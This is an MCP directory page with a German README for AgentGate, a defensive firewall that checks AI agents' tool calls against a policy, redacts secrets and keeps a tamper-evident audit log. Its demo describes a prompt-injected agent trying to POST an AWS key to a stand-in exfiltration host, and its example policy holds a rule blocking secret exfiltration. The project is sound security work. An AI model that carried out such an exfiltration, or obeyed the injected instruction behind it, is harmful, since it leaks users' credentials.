AgentGate
AgentGate
Die Open-Source-Firewall für KI-Agenten. AgentGate sitzt zwischen einem MCP-Client (wie Claude Code) und den nachgelagerten MCP-Servern, mit denen er spricht, bewertet jeden Tool-Aufruf anhand einer Richtlinie, die Sie kontrollieren, und führt eine manipulationssichere Prüfspur darüber, was passiert ist.

Ein blockierter Angriff, Ende zu Ende
Ein per Prompt-Injection kompromittierter Agent versucht, einen AWS-Schlüssel über HTTP zu exfiltrieren. AgentGate lehnt ihn ab, schwärzt den Schlüssel, bevor er jemals die Festplatte berührt, und zeichnet eine verifizierbare Prüfspur auf – alles aus echtem, eingechecktem Richtlinien- und Gateway-Code, nicht aus einem Mockup:
Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.
Tool called: network.request
Target URL: https://evil-exfil.example.com/collect
Gateway Response: {
content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
isError: true
}
Step 1 — Policy decision: ✅ DENIED
Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.
Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).Führen Sie es selbst aus: node examples/secret-exfiltration/demo.mjs (siehe Demo und Verifizierung).
Related MCP server: Proofpane
Projektstatus
Frühe Entwicklung / Research-Qualitäts-MVP. AgentGate implementiert eine echte Richtlinien-Engine, einen echten
MCP-stdio-Proxy, einen echten manipulationssicheren Prüfspeicher und eine echte Control-Center-UI – alles abgedeckt
durch ausführbare Tests und eine End-to-End-Angriffsdemo (siehe docs/VERIFICATION.md). Es
ist nicht produktionsreif: Es gibt keine Authentifizierung über ein lokales Token pro Start hinaus, keine
Mehrbenutzerunterstützung, kein Replay, und die MCP-Protokollunterstützung ist derzeit nur Legacy-stdio aus der
2025-Ära (siehe Unterstützte Integrationen). Lesen Sie
docs/THREAT_MODEL.md, bevor Sie sich für etwas Sensibles darauf verlassen.
Fünf-Minuten-Schnellstart
Erfordert Node.js 20+ und pnpm (siehe .nvmrc / packageManager in package.json). Alles
unten ist repository-lokal – kein veröffentlichtes npm-Paket erforderlich.
git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build
# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml
# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.ymlDas Gateway gibt beim Start eine lokale Control-Center-URL und ein einmaliges Authentifizierungstoken auf stderr
aus. Öffnen Sie die URL, fügen Sie das Token ein, wenn Sie dazu aufgefordert werden, und richten Sie Ihren
MCP-Client (z. B. Claude Code) auf den stdio-Befehl des Gateways aus, anstatt direkt auf den nachgelagerten Server.
Die vollständige Anleitung, einschließlich der Ausführung des Control Centers im Dev-Modus, finden Sie unter
docs/QUICKSTART.md.
Wie AgentGate passt
MCP client AgentGate gateway Downstream MCP server
(Claude Code, …) ─────▶ stdio proxy → policy engine ─────▶ (filesystem, network, …)
│ │
▼ ▼
audit storage Control Center
(SQLite, (local web UI,
hash-chained) loopback only)AgentGate spricht auf beiden Seiten MCP: Es ist ein Server für Ihren MCP-Client und ein Client für den echten
nachgelagerten MCP-Server. Jeder Tool-Aufruf, den es weiterleitet, wurde bereits bewertet, und jede Entscheidung –
erlauben, ablehnen, schwärzen oder zur menschlichen Genehmigung zurückhalten – wird aufgezeichnet, bevor der Aufruf
den echten Server erreicht (oder davon abgehalten wird). Das vollständige Sequenzdiagramm finden Sie unter
docs/ARCHITECTURE.md.
Kernfunktionen
Richtlinien-Engine – deklarative YAML-Regeln, abgeglichen nach Agent, Tool, Pfad, Befehl, Host und Secret-Inhalt; erste Übereinstimmung gewinnt; sichere Standard-Verweigerung.
Vier Entscheidungstypen –
allow,deny,require_approval(Human-in-the-Loop, TTL-gebunden, einmalig) undallow_with_transform(bestimmte Felder schwärzen, dann weiterleiten).Tiefgehende Secret-Schwärzung – AWS-/GitHub-/OpenAI-/Anthropic-Schlüsselmuster, Bearer-Tokens, Private-Key-Header und DB-Verbindungsstrings werden erkannt und aus jedem gespeicherten Prüfdatensatz geschwärzt, unabhängig von der Entscheidung.
Manipulationssichere Prüfspur – jedes Ereignis ist ein SHA-256-hash-verketteter, append-only-Datensatz in SQLite;
agentgate audit verifygeht die Kette unabhängig erneut durch und verifiziert sie.Control Center – eine lokale, nur-Loopback-Web-UI: Live-SSE-Zeitleiste, Genehmigungswarteschlange, Ereignisdetails mit Schwärzungs- und Hash-Ketten-Anzeige sowie die aktuell geladene Richtlinie.
Path-Traversal-Abwehr – Pfadargumente werden normalisiert (
../.aufgelöst, Trennzeichen vereinheitlicht), bevor sie abgeglichen oder gespeichert werden.
Beispielrichtlinie
version: 1
defaults:
decision: deny
rules:
- id: allow-project-reads
description: Allow reading files inside the project root.
agents: ["claude-code"]
tools: ["read_file", "list_directory"]
paths: ["${PROJECT_ROOT}/**"]
decision: allow
- id: approve-file-writes
description: Require approval before writing any file.
tools: ["write_file", "create_directory"]
decision: require_approval
approval_ttl_seconds: 120
- id: block-secret-exfiltration
description: Block network requests that appear to carry secrets or API keys.
tools: ["network.*", "fetch", "http_request"]
contains_secrets: true
decision: denyVollständige Feldreferenz, Abgleichsemantik und ausgearbeitete Beispiele:
docs/POLICY_REFERENCE.md.
CLI
agentgate start [config.yml] # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml] # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config] # Independently re-verify the tamper-evident audit chainagentgate ist packages/gateway/dist/cli.js nach pnpm run build (noch nicht auf npm veröffentlicht – siehe
Projektstatus). Führen Sie es als node packages/gateway/dist/cli.js <command> vom
Repository-Stamm aus oder über das Workspace-Bin aus packages/gateway heraus aus.
Control Center
Eine nur-lokale React-UI, die in der Entwicklung von Vite bereitgestellt wird und über den control_port erreichbar
ist, der in Ihrer Gateway-YAML konfiguriert ist:
Übersicht – Live-Risikoindikator, Erlauben/Verweigern/Ausstehend-Zähler, aktuelle Hochrisiko-Ereignisse.
Zeitleiste – jeder abgefangene Tool-Aufruf in Echtzeit über Server-Sent Events.
Genehmigungen – ausstehende
require_approval-Anfragen mit Countdown bis zum TTL-Ablauf; Verweigern ist die visuell primäre Aktion.Ereignisdetails – vollständige Entscheidungsablaufverfolgung, geschwärzte Argumente und die Position des Ereignisses in der Hash-Kette.
Richtlinien – die aktuell geladene Richtliniendatei und eine Referenz der Entscheidungstypen (in diesem Meilenstein schreibgeschützt).
Es authentifiziert sich mit einem zufälligen Token pro Start (beim Start auf stderr des Gateways ausgegeben), das
als x-agentgate-token-Header oder als token-Query-Parameter für den SSE-Stream gesendet wird. Siehe
Sicherheitsmodell für das, wogegen dies schützt und wogegen nicht.
Unterstützte Integrationen
Integration | Transport | Protokoll-Ära | Status | Nachweis |
Claude Code (und jeder MCP-Client, der den Legacy-stdio-Transport verwendet) | stdio | nur Legacy 2025-Ära | Unterstützt |
|
Jeder nachgelagerte MCP-Server über stdio | stdio | Legacy 2025-Ära | Unterstützt |
|
Modernes zustandsloses MCP ( | HTTP/zustandslos | modern | Nicht implementiert | Aufgeschoben durch ADR-0005; |
Nachgelagerte MCP-Server über streamable HTTP | HTTP | — | Nicht implementiert |
|
Wenn Sie heute Unterstützung für die moderne Ära oder HTTP-Transport benötigen, ist AgentGate noch nicht die richtige Wahl – verfolgen Sie ADR-0005 für den Status.
Sicherheitsmodell und Einschränkungen
AgentGate behandelt die Agentenidentität als nicht vertrauenswürdig: declared_name/declared_version sind
selbst gemeldet und dienen nur der Anzeige, niemals der Autorisierung (verified_identity ist immer false).
Richtlinienentscheidungen werden ausschließlich aus Tool-Name, normalisiertem Pfad, Befehl, Host und erkanntem
Secret-Inhalt getroffen.
Was die Prüfkette beweist und was nicht: Der SHA-256-Hash jedes Prüfdatensatzes deckt den Hash des vorherigen
Datensatzes ab, sodass das stille Bearbeiten oder Löschen eines früheren Datensatzes die Kette bricht und
agentgate audit verify es erkennen wird. Dies ist manipulationserkennend, nicht manipulationssicher, und bietet
keine Nichtabstreitbarkeitsgarantie – ein lokaler Administrator mit Dateisystemzugriff auf die SQLite-Datenbank
kann die gesamte Datei ersetzen und eine selbstkonsistente Kette von Grund auf neu generieren. Es gibt keine externe
Verankerung. Das vollständige Modell, einschließlich indirekter Prompt-Injection, bösartiger nachgelagerter Server,
Genehmigungs-Replay und Denial-of-Service-Risiken, die dieser Meilenstein noch nicht entschärft, finden Sie unter
docs/THREAT_MODEL.md.
Architektur
Komponentenverantwortlichkeiten, System- und Sequenzdiagramme, das Prüfdatenmodell und Vertrauensgrenzen:
docs/ARCHITECTURE.md.
Demo und Verifizierung
node examples/secret-exfiltration/demo.mjs # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test # unit/integration tests (policy + gateway)
pnpm run lint # type-aware lint gate across the whole workspaceAlles, was die Demo und die Testsuite behaupten, wird in docs/VERIFICATION.md
gegengeprüft.
Entwicklung und Beiträge
Workspace-Layout, lokales Ausführen von Gateway und Control Center, Hinzufügen von Richtlinienregeln und Tests:
docs/DEVELOPMENT.md. Beitragsprozess, Sicherheitsauswirkungen-Erwartungen für PRs und
Konventionen für das Entscheidungsprotokoll: CONTRIBUTING.md. Eine Schwachstelle gefunden?
Siehe SECURITY.md – bitte kein öffentliches Issue eröffnen.
Lizenz
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- FlicenseNot gradedqualityNot gradedmaintenanceA transparent proxy and execution firewall that intercepts and audits AI agent tool calls against configurable security policies before forwarding them to downstream MCP servers. It provides safe execution environments with features like data redaction, anti-loop protection, and unified alert dispatching.
- AlicenseBqualityAmaintenanceA governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.13MIT
- AlicenseNot gradedqualityBmaintenanceA policy-enforcing MCP gateway that intercepts all tool calls to downstream MCP servers, applying allow/deny/ask rules with human approval and audit logging for safe access to dangerous tools.23MIT
- FlicenseNot gradedqualityCmaintenanceMCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.
Related MCP Connectors
Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.
Crypto transaction firewall and risk tools for MCP agents.
See, price, and control every tool call your AI agents make: policy checks, cost, and audit tools.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/chidhvilasa/agentgate'
If you have feedback or need assistance with the MCP directory API, please join our Discord server